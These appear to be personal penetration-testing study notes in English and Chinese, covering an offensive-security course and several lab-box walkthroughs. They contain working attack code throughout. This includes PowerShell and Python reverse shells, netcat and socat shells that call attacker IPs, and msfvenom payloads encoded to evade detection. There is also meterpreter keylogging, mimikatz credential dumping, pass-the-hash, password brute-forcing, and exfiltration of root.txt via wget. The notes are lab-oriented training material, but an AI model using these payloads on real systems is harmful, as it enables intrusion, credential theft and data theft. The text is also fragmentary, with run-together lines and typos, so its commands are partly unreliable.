nmap scan











nmap -p- –min-rate 10000 10.10.10.5
详细扫描21,80端口
发现21端口可以进行匿名登录
ftp 10.10.10.5
该网站下存在一个htm页面和一个welcome的png
80端口的默认界面是一个IIS7默认界面
使用dirsearch进行目录扫描
有一个aspnet_client,但是禁止访问了
请求头表示这是一个ASP.NET
尝试用ftp往上面传一个shell(cmd.aspx)
尝试访问这个界面
本地kali开启smbserver
共享当前文件夹并在该文件夹里面放一个nc.exe
在传到网站上的webshell中执行反弹程序\\10.10.14.2\share\nc.exe -e cmd.exe 10.10.14.2 4444
并在本地开启nc进行监听,能收到反弹的shell
该权限是网站权限所有的user目录都不能访问
/bin contains basic programs(ls,cat)
/sbin system programs(fdisk,mkfs,sysctl)
/etc configuration files
/tmp temporary files(typically deleted on boot)
/usr/bin application(apt,ncat,nmap)
/usr/share application support and data files
when opening a terminal window, a new bash process has its own environment variables
when running a command without full path,the bash will search the pathecho $PATH
echo $USER
echo $PWD
echo $HOME
export b=10.10.10.3
if don’t use export,the variable can just use in current shellenv
show all path
!1
repeat the first line command in history!!
repeat the last command that was executed during our terminal session
the history file saved in .bash_history in user home directory
ctrl+r can reverse search history
>
redirectiing to new file>>
redirecting to existing file<
redirecting from existing filecat error.txt | wc -m > count.txt
ls -la /usr/bin | grep zip
echo "I need to try hard" | sed 's/hard/harder/'
echo "I hack binaries,web apps,mobile apps,and just about anything else" | cut -f 2 -d ","
cut -d ":" -f 1 /etc/passwd
echo "hello::there::friend" | awk -f "::" '{print $1, $3}'
comm -12 a.txt b.txt
suppressed the first and the second columnsdiff -c a.txt b.txt
diff -u a.txt b.txt
ping -c 400 localhost > ping_result.txt &
or ctrl+z
fg %1
tail -f /var/log/apache2/access.log
-nX:output the last n lineswatch -n 5 w
wget -O
curl -o
axel -a -n 20 -o
export HISTIGNORE="&:ls:[bf]g:exit:history"
export HISTTIMEFORMAT='%F %T '
alisa lsa='ls -al'
unalias lsa
nc -nv 10.101.11.2 110
-n is to skip DNS name resolution
-v is to output specificUSER xxxx
PASS xxxx
quit
nc -lvnp 4444
-l is to create a listener
-p is to specify the port
nc -nlvp 4444 > incoming.exe
:redirect any output into a file called incoming.exenc -nv 10.10.23.22 4444 < /usr/share/windows/wget.exe
:put the wget.exe to 10.10.23.22
nc -nlvp 4444 -e cmd.exe
:bound to port 4444 and redirect any input,output and error message from cmd.exe to the network.In other words,everyone who connect bob’s machine will see bob’s cmd.
‘nc -nv 10.11.0.22 4444 -e /bin/bash’:send a reverse shell to target machine,and the target machine can interact with the shell.
netcat connect to remote server:nc <remote server's ip address> 80
socat connect to remote server:socat -TCP4:<remote servers's ip address>:80
netcat bind a listener:nc -lvp localhost 443
socat bind a listener:socat TCP4-LISTEN:443 STDOUT
socat TCP4-LISTEN:443,fork file:secret_password.txt
socat TCP4:10.10.0.4:443 file:received_secret_password.txt,create
socat -d -d TCP4-LISTEN:443 STDOUT
socat TCP4:10.10.0.22:443 EXEC(-e):/bin/bash
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
req
:initiate a new certificate signing request-newkey
:generate a new private keyrsa:2048
:use RSA encryption with a 2048-bit key length-nodes
:store the private key without passphrase protection-keyout
:save the key to a file-x509
:output a self-signed certificate instead of a certificate request-days
:set validity period in days-out
:save the certificate to a file
and combine both of them into a pem file that socat will acceptcat bind_shell.key bind_shell.crt > bind_shell.pem
socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
verify=0
:disable ssl verificationfork
:spawn a child process
powershell 5.0 runs on
Set-ExecutionPolicy Unrestricted
and choose yes to finsh the following opreates.powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\offsec\Desktop\wget.exe')"
powershell -c "$client = New-Object Systems.Net.Sockets.TCPClient('10.11.0.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,$bytes.Length)) -ne 0){;$data= (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close()"
powershell -c "$listener = New-Object Systems.Net.Sockets.TCPClient('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,$bytes.Length)) -ne 0){;$data= (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close();$listener.Stop()"
powercat is essentially the powershell version of netcat.
first we should type ..\powercat.ps1
to make all variables and functions declared in the script available in the current powershell scope.
if the target machine is connected to Internet,we can use a remote scriptiex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
kali machine:nc -lnvp 443 > receiving_powercat.ps1
windows machne:powercat -c 10.11.0.4 -p 443 -i C:\Users\Offsec\powercat.ps1
powercat -c 10.11.0.4 -p 443 -e cmd.exe
powercat -l -p 443 -e cmd.exe
powercat -c 10.11.0.4 -p 443 -e cmd.exe -g > reverseshell.ps1
this will create an executable file that can reverse a shell./reverseshell.ps1
but this may easily detected by IDS
so we can attemp to execute Base64 encoded commandspowercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
powershell can implement the same function by usingpowershell.exe -E Zgaaasaaaaacasca......(Base64 encoded string)
tcpdump -r password_cracking_filtered.pcap
tcpdump -n -r password_cracking_filtered.pcap | awk -F" " '{print 5}' | sort | uniq -c | head
-n
:skip DNS name lookups-r
:read from our packet capture fileuniq -c
:count the number of times the field appears in the capturehead
:display the first 10 lines of the outputtcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap
tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap
tcpdump -n port 81 -r password_cracking_filtered.pcap
tcpdump -nX -r password_cracking_filtered.pcap
echo "$((2#00011000))"
this represent flag of ACK and PSHtcpdump -A -n 'tcp[13] = 24' -r password_cracking_filtered.pcap
-A is to print the packets in ascii
tcp[13] is the tcp dump array’s 14th byte,and the 24 is the combination of the two flags,it will only show the http request and response data
whois ipaddress/website
such as https://searchdns.netcraft.com
we need to install various modules to use recon-ng
marketplace search github
marketplace info recon/domains-hosts/google_site_web
marketplace install recon/domains-hosts/google_site_web
modules load recon/domains-hosts/google_site_web
options set SOURCE megacorpone.com
show hosts
gitrob/gitleaks
Security Headers
theHarvester -d magacorpone.com -b google
the most common wordlist in kali is rockyou in /usr/share/wordlists/rockyou
host www.megacorpone.com
host -t mx www.megacorpone.com
-t is to specify the type of recordfor ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 50 100); do host 38.100.193.$ip; done | grep -v "not found"
host -l megacorpone.com ns1.megacorpone.com
-l(list zone) to attemp the zone transfers
some large organizations might host many DNS servers,or we might want to attemp zone transfer request against all the DNS servers in a given domain.
get the nameserver for a given domain—-host -t ns megacorpone.com | cut -d " " -f 4
#!/bin/bash
# Simple zone transfer bash script
# $1 is the first argument given after the bash script
if [ -z "$1" ]; then
echo "[*] Simple Zone transfer script"
echo "[*] Usage : $0 <damain name> "
exit 0
fi
# if arguement was given, identify the DNS servers for the domain
for server in $(host -t ns $1 | cut -d " " -f 4); do
# For each of these servers, attemp a zone transfer
host -l $1 $server |grep "has address"
done
dnsrecon -d megacorpone.com -t axfr
:-d is to specify a domain name,-t is to specify the type of enumeration to performdnsrecon -d ,egacorpone.com -D ~/list.txt -t brt
:-D is to specify a file name containing potential subdomain stringsdnsenum zonetransfer.me
nc -nvv -w 1 -z 10.11.1.220 3388-3390
:-w is to specify the connection timeout in seconds,-z is to specify zero-I/O mode,which will send no data and is used for scanning.nc -nv -u -z -w 1 10.11.1.115 160-162
:-u is indicates a UDP scannmap -sS 10.10.1.220
nmap -sT 10.10.1.220
nmap -sU 10.10.1.220
nmap -sS -sU 10.10.1.220
nmap -sn 10.10.1.1-254
nmap -v -sn 10.10.1.1-254 -oG ping-sweep.txt
:-oG is to save the result into a formatnmap -p 80 10.10.1.1-254 -oG web-sweep.txt
nmap -sT -A --top-ports=20 10.10.1.1-254 -oG top-port-sweep.txt
:-A is to enable OS version detection,script scanning,and traceroute,and the top 20 ports is in /usr/share/nmap/nmap-servicesnmap -O 10.10.1.220
nmap -sV -sT -A 10.10.1.220
:-sV is to inspecting service bannersnmap 10.10.1.110 --script=smb-os-discovery
nmap --script-help dns-zone-transfer
masscan -p80 10.0.0.0/8
masscan -p80 10.11.1.0/24 --rate=1000 -e tap0 --router-ip 10.11.0.1
:-e is to specify the raw network interface to use,–router-ip is to specify the ip address for the appropriate gateway
nmap -v -p 139,445 -oG smb.txt 10.11.11.1-254
nbtscan -r 10.11.11.0/24
:-r is to specify the originating UDP port as 137
/usr/share/nmap/scripts/smb*
both portmapper and rpcbind run on tcp port 111nmap -V -p 111 10.11.1.1-254
nmap -sV -p 111 --script=rpcinfo 10.11.1.1-254
/usr/share/nmap/scripts/nfs*
this protocol supports several interesting commands such as VRFY and EXPN
VRFY request ask the server to verify an email address
EXPN request ask the server for the membership of a mailing list
nc -nv 10.11.1.217 25
VRFY root
VRFY idontexist
nmap -sU --open -p 161 10.11.1.1-254 -oG open-snmp.txt
-sU
is to perform UDP scanning--open
is to limit the output to only display open ports
alternatively,we can use a tool such as onesixtyone
First we must build text files contaoning community strings and the ip addresses we wish to scan
echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 1 254); do echo 10.11.1.$ip; done > ips
onesixtyone -c community -i ips
snmpwalk -c public -v1 -t 10 10.11.1.14
:-c is to specify the community string, -v is to specify the SNMP version number, -t 10 is to increase the timeout period to 10 secondssnmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.77.1.2.25
snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3
snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2
apt install ./Nessus-X.X.X.deb
/etc/init.d/nessusd start
accept the self-signed certificate
e.g. nmap --script vuln 10.11.1.10
—-this will run all scripts in the “vuln” category against a target in the PWK labs
File extensions,which sometimes a part of a URL,can reveal the programming language the application was writtern in.Some of these,like .php,or vary based on the frameworks in use.For example,a Java-based web application migth use .jsp,.do,or .html
the two most common sitemap filenames are robots.txt and sitemap.xml
dirb http://www.megacorpone.com -r -z 10
:-r is to scan non-recursively,-z 10 is to add a 10 millisecond delay to each requestnikto -host=http://www.megacorpone.com -maxtime=30s
:-maxtime=30s is to limit the scan duration to 30 secondsIf a file is created with the extension of .hta instead of .html,Internet Explorer will automatically interpret it as a HTML Application and offer the ability to execute it using the mshta.exe program.msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
systemctl restart pure-ftpd
python -c 'import pty;pty.spawn("/bin/bash")'
echo open 10.11.0.4 21 > ftp.txt
echo USER offsec >> ftp.txt(usernname)
echo lab >> ftp.txt(password)
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
:-v is to suppress any returned output,-n is to suppress automatic login,-s is to indicate the name of command line
1.wget.vbs
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“WinHttp.WinHttpRequest”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“MSXML2.ServerXMLHTTP”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”) >> wget.vbs
echo http.Open “GET”,strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject(“Scripting.FileSystemObject”) >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = “” >> wget.vbs
echo strBuffer = “” >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
2.wget.ps1
#! /usr/bin/python
import sys
if len(sys.argv) !=3:
print “Usage: gen_ps1_wget.py
sys.exit(0)
print “\n”
print “Copy and paste the following in to the host:”
print “\n”
print “echo $storageDir = $pwd > wget.ps1”
print “echo $webclient = New-Object System.Net.WebClient >> wget.ps1”
print “echo $url = ‘http://%s/%s’ >> wget.ps1”%(sys.argv[1],sys.argv[2])
print “echo $file = ‘%s’ >> wget.ps1” % sys.argv[2]
print “echo $webclient.DownloadFile($url,$file) >> wget.ps1”
print “\n”
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.10.0.4/xxx.exe','new-exploit.exe')
powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.0.4/helloworld.ps1')
exe2hex -x nc.exe -p nc.cmd
head nc.cmd
and copy this script to the bind shell
php code
whoami
net user
(windows)id
(linux)cat /etc/passwd
(linux)hostname
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
(windows):/B is to match patterns at the beginning of a line,/C: is to specify a particular search stringcat /etc/issue
cat /etc/*-release
unmae -a
tasklist /SVC
ps aux
ipconfig /all
(windows)route print
(windows)netstat -ano
(windows)ip a
(linux)/sbin/route
(linux)ss -anp
(linux)netsh advfirewall show currentprofile
(windows)netsh advfirewall firewall show rule name=all
schtasks /query /fo LIST /v
(linux):/query is to displays tasks,/FO LIST sets the output format to a simple list,/v is to request verbose outputls -lah /etc/cron*
cat /etc/crontab
wmic product get name,version,vendor
wmic qfe get Caption,Description,HotFixID,InstalledOn
dkpg -l
(linux)accesschk.exe -uws "Everyone" "C:\Program Files"
:-u to suppress errors,-w to search for write access permissions,-s to perform a recursive searchGet-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
find / -writable -type d 2>/dev/null
(linux):type -d to locate directoriesmountvol
(windows)cat /etc/fstab
(linux)mount
(linux)/bin/lsblk
powershell
-> driverquery.exe /v /fo csv | ConvertForm-CSV | Select-Object 'Display Name','Start Mode',Path
powershell
-> Get-WmiObject Win32_PnPSignedDriver | Select-Object DriverName,DriverVersion,Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}
lsmod
(linux)/sbin/modinfo libata
(linux)reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
find / -perm -u=s -type f 2>/dev/null
windows-privesc-check2.exe --dump -G
./unix-privesc-check
./unix-privesc-check standard > output.txt
/usr/share/wordlistscewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
:locates words with a minimum of six characters,and write the wordlist to a custom fileJohn the Ripper
(/etc/john/john.conf)john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt
crunch 8(minimum) 8(maximum) -t ,(upper case alpha characters)@@(lower case alpha characeters)^^(special characters including space)%%%(numeric characters)
crunch 4 6 0123456789ABCDEF -o crunch.txt
crunch 4 6 -f /usr/share/crunch/charset.lst mixalpha -o crunch.txt
medusa -h 10.11.0.22 -u admin -P /usr/share/wordlist/rockyou.txt -M http -m DIR:/admin
:-m DIR:/admin is to initiate the attack against the htaccess-protected URL,-M is to use an HTTP authentication scheme
crowbar -b rdp -s 10.11.0.4/32 -u admin -C ~/password-file.txt -n 1
:-b is to specify the protocol,-s is the target server,-n is the number of threads
hydra -l kali -P /usr/share/wordlist/rockyou.txt ssh://127.0.0.1
:-l is to specify the username,and Protocol://ip si to specify the target protocol and IP address respectively
hydra http-form-post -U
:-U is to obtain additional information about the required argumentshydra 10.11.0.2 http-form-post "/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" -l admin -P /usr/share/wordlist/rockyou.txt -vV -f
:-vV is to request verbose output,-f is to stop the attack when the first successful result is found
hashid c43ee559d69bc7f691fe2fbfe8a5ef0a
minikatz
privilegeg::debug
token::elevate
lsadump::sam
pth-winexe -U offsec%xxxxxxxxxxxxxxxx //10.10.11.2 cmd
john hash.txt --format=NT
john --wordlist=/usr/share/wordlist/rockyou.txt hash.txt --format=NT
john --rules --wordlist=/usr/share/wordlist/rockyou.txt hash.txt --format=NT
/etc/rinetd.conf
—> bindaddress bindport connectaddress connectport
—>0.0.0.0 80 11.10.1.4 80
ssh -N -L 0.0.0.0:445:192.168.1.110:445 student@10.11.0.128
ssh -N -R 10.11.0.4:2221:127.0.0.1:3306 kali@10.11.0.4
ssh -N -D 127.0.0.1:8080 student@10.11.0.128
plink.exe -ssh -l(username) kali -pw(password) ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4
cmd.exe /c echo y | plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4
netsh interface portproxy add v4tov4 listenport=4445 listenaddress=10.11.0.22 connectport=445 connectaddress=192.168.1.110
#####HTTPTunnel-ing through deep packet inspectionhts --forward-port localhost:8888 1234
htc --forward-port 8080 10.11.0.128:1234
Domain Controller(DC)
Organizational Units(OU)
net user
net user /doamin
net user jeff_admin /domain
net group domain
powershell[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
script:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = “LDAP://“
$SearchString += $PDC + “/“
$DistinguishedName = “DC=$($domainObj.Name.Replace(‘.’,’,DC=’))”
$SearchString += $DistinguishedName
$SearchString
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"("name=Jeff_Admin")
$Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
Write-Host "------------------------"
}
script:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = “LDAP://“
$SearchString += $PDC + “/“
$DistinguishedName = “DC=$($domainObj.Name.Replace(‘.’,’,DC=’))”
$SearchString += $DistinguishedName
$SearchString
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"--->"(name=Secret_Group)"--->"(name=Nested_Group)"--->"(name=Another_Nested_Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.name--->$obj.Properties.member
}
Import-Module .\PowerView.ps1
Get-NetLoggedon -ComputerName client251
Get-NetSession -ComputerName dc01
https://zhuanlan.zhihu.com/p/266491528
mimikatzprivilege::debug
sekurlsa::logonpasswords
sekualsa::tickets
klist
spray-password.ps1
pth-winexe -U Administrator%xxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxx //10.11.0.22 cmd
sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:xxxxxxxxxxxx /run:PowerShell.exe
show -h
services
|services -h
db_nmap
hosts
services -p 445
info exploit/windows/http/syncbreeze_bof
A non-Staged payload is sent in its entirety along with the exploit.In contrast,a staged payload is usually sent in two parts.The first part contains a small primary payload that causes the victim machine to connect back to the attacker,transfer a larger secondary payload containing the rest of the shellcode,and then execute it.
There are several situations in which we would perfer to use staged shellcode in stead of non-staged.
search meterpreter type:payload
help
sysinfo
getuid
upload /usr/share/windows-resources/binaries/nc.exe c:\\Users\\Offsec
download c:\\Windows\\system32\\calc.exe /tmp/calc.exe
shell
ftp 127.0.0.1
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.0.4 LPORT=443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-resources/binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
-p is to set the payload
-f is to set the output format
-o is to specify the output file name
-e is to specify the encoder type
-i is to set the desired number of encoding iterations
-x is to specify the file to inject into
or we can generate the payload in msf
use payload/windows/shell_reverse_tcp
set LHOST 10.11.0.4
set LPORT 443
generate -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-resources/binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe`
this moudle works for all single and multi-stage payloads
msfvenom -l formats
hta-psh,vba,vba-psh are designed for use in client-side attacks
show advanced
StageEncoder
AutoRunScript
transport list
transport add -t reverse_tcp -l 10.11.0.4 -p 5555
background
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.11.0.4
set LPORT 5555
exploit -j
sessions -i 5
transport next
sessions -i 6
screenshot
keyscan_start
—keyscan_dump
—keyscan_stop
ps
—>migrate 3586
use exploit/windows/local/bypassuac_injection_winsxs
—>load powershell
—>help powershell
—>powershell_execute "$PSVersionTable.PSVersion"
—>load kiwi
—>getsystem
—>creds_msv
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.11.0.4
set LPORT 443
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
exploit -j -z
msfconsole -r setup.rc
git clone https://github.com/PowerShellEmpire/Empire.git
./setup/install.sh
./empire
help
The finger daemon listens on port 79, and is really a relic of a time when computers were far too trusting and open. It provides status reports on logged in users. It can also provide details about a specific user and when they last logged in and from where.
we can use finger-user-enum to brute force it.
wget http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz
perl finger-user-enum.pl -U /usr/share/SecLists/Usernames/Names/names.txt -t 10.10.10.76
######## Scan started at Sun Oct 7 08:57:50 2018 #########
access@10.10.10.76: access No Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym < . . . . >..
admin@10.10.10.76: Login Name TTY Idle When Where..adm Admin < . . . . >..lp Line Printer Admin < . . . . >..uucp
anne marie@10.10.10.76: Login Name TTY Idle When Where..anne ???..marie ???..
bin@10.10.10.76: bin ??? < . . . . >..
dee dee@10.10.10.76: Login Name TTY Idle When Where..dee ???..dee ???..
jo ann@10.10.10.76: Login Name TTY Idle When Where..jo ???..ann ???..
la verne@10.10.10.76: Login Name TTY Idle When Where..la ???..verne ???..
line@10.10.10.76: Login Name TTY Idle When Where..lp Line Printer Admin < . . . . >..
message@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message Sub < . . . . >..
miof mela@10.10.10.76: Login Name TTY Idle When Where..miof ???..mela ???..
sammy@10.10.10.76: sammy pts/2 <Apr 24 12:57> 10.10.14.4 ..
sunny@10.10.10.76: sunny pts/3 <Apr 24 10:48> 10.10.14.4 ..
sys@10.10.10.76: sys ??? < . . . . >..
zsa zsa@10.10.10.76: Login Name TTY Idle When Where..zsa ???..zsa ???..
######## Scan completed at Sun Oct 7 09:03:50 2018 #########
14 results.
there are some useless information in it,but sammy and sunny seems useful
with sammy and sunny,we can try to enum password
use hydra to brute password
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt -I -f -s 22022 10.10.10.76 ssh
and we will get a cred sunny/sunday
now we can use ssh to login
we can execute /root/troll without password
Inside /backup there’s a copy of a shadow file that is world readable:
use hashcat to get passwd
hashcat -m 7400 sunday.hash /usr/share/wordlists/rockyou.txt --force
the first way to get root is to use sammy wget to get root.txt
The easiest way to just get the flag is to take advantage of the –input-file or -i flag on wget. This flag allows you to provide a file with the urls to visit. When it reads the hash, the string will fail to process as a url, and will tell us so in an error message, complete with flag:
A second method to exfil the flag is to have wget post the file back to us using --post-file
,but python SimpleHTTPServer doesn’t support POST requests
but in this case,we just need to use nc to get the information
sudo wget –post-file /root/root.txt http://10.10.16.10:8888/
because the sunny can execute troll without password
we can try to overwrite this file
first write a python script
#! /bin/bash
import os
import socket
import subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.10",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
using the -O option, which will allow us to specify a file to write the wget output to, and it will overwrite that file if it already exists
sudo wget http://10.10.16.10/reverse.py -O /root/troll
but this method may fail because the script reset itself per 5 seconds
we can overwrite other files we can execute,such as passwd
make a root user copied from sunny
and get it
Overwrite sudoers
Let’s change that slightly in a copy on our local host, giving sammy the ability to run su without password:
the gobuster knowledge
gobuster dir -u https://10.10.10.60 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt
the password we can guess is the default page - pfsense
username: Rohit
password: company defaults—-pfsense
and we success
we can find a 43560.py matches the pfsense 2.1.3
let’s have a try and we get a root access
davtest -url http://10.10.10.14
but it shows nothing can use
the iis 6.0 is too old,so we can use msf/searchsploit to search some exploits
we can try to use script
python2 iis6\ reverse\ shell 10.10.10.14 80 10.10.16.10 8888
we can try many path to write
echo test > test.txt
but many directory failed
in the root directory,we can find a unique dir called wmpub
and we can success write into this directoryicacles
shows that as well:
That Userss can WD
decodes to write data/add files.
use systeminfo and windows-exploit-suggester to find if there is something can use
pip2 install xlrd==1.2.0
python2 windows-exploit-suggester.py -i systeminfo.txt –database 2022-07-22-mssb.xls
but these don’t work
check the privsSEImpersonalPrivilege
is one I know to look out for. For modern boxes, that means a potato exploit (juicy, lonely, rotten). But for 2003, it’s better to start with churrasco.
first,make a smb directory and put the churrasco.exe into it
second,useimpack-smbserver smb smb
to start a smb server to let the target machine get the churrasco.exe
we should made sure the Churrasco.exe file was in a directory called SMB on Kali machine.
now we can use target machine to connect our smbshare net use \\10.10.16.10\smb
once we connected,use copy \\10.10.16.10\smb\churrasco.exe
and copy \\10.10.16.10\smb\nc.exe
Once the files are copied, execute churrasco with the following command: .\churrasco.exe “C:\wmpub\nc.exe -e cmd.exe 10.10.16.10 8999”
And we get the root access
Web Distributed Authoring and Versioning (WebDAV) is an HTTP extension designed to allow people to create and modify web sites using HTTP.
we can use davtest to explore further, and it will show me what types of files can be uploaded, and if it can create a directory:
davtest -url http:10.10.10.15
echo "it's a test text" > test.txt
curl -X PUT http://10.10.10.15/123.txt -d @test.txt
curl http://10.10.10.15/123.txt
There’s a tool called cadaver
that provides command-line WebDAV interactions with a slightly simpler syntax than curl. If I are going to be attacking a WebDAV server, I’ll probably use that just for the shorter commands. That said, I’m going to use curl
in this post to show exactly what is happening when I issue these HTTP requests.
cadaver
Kali has a simple one at /usr/share/webshells/aspx/cmdasp.aspx
, we should copy it
cp /usr/share/webshells/aspx/cmdasp.aspx .
And now we can upload that to target as a txt using curl and the http put method:
curl -X PUT http://10.10.10.15/shell.txt -d @cmdasp.aspx
we can see the site deal the shell as the plain text
Now we can use the next webdav command, MOVE. Again, I can do this with curl:
curl -X MOVE -H 'Destination:http://10.10.10.15/shell.aspx' http://10.10.10.15/shell.txt
using msf,we can reverse a shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.10 LPORT=4444 -f aspx > msf.aspx
like the step before,upload it and change it to aspx:
curl -X PUT http://10.10.10.15/msf.txt -d @msf.aspx
curl -X MOVE -H 'Destination: http://10.10.10.15/msf.aspx' http://10.10.10.15/msf.txt
start msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
try to trigger it,but failed
upload it again,and we will see the whitespace is all jacked up:
upload again and use --data-binary
to preserve endlines and other control characters
curl -X PUT http://10.10.10.15/msf.txt --data-binary @msf.aspx
and this time we can see it cleaner:
curl -X MOVE -H 'Destination: http://10.10.10.15/msf.aspx' http://10.10.10.15/msf.txt
trigger it,and we can get s shell
First to checkout local exploits, and Metasploit has a nice module for that, post/multi/recon/local_exploit_suggester
and we can use ms14-058
finally,we get the root
first use smbmap to list shares and permissions
smbmap -H 10.10.10.123
smbclient -N -L //10.10.10.123
-N represent null session (or no auth) and -L to list
the comment of Files says that its /etc/Files
so we can use nmap to verify
nmap --script smb-enum-shares.nse -p445 10.10.10.123
The Development share is empty:
The general share has a single file,we can get it and have a look
its a cred
the site give us a new domain friendzoneportal.red
we now use dirsearch to find some paths
the robots.txt just a phrase
and the wordpress is empty dir
first use the comman name get via nmap to visit https://friendzone.red:443/
the site just has a picture
and if we view page source,we can get another path
the js/js path has a encode string,so we can try to decode it
it also have a hint
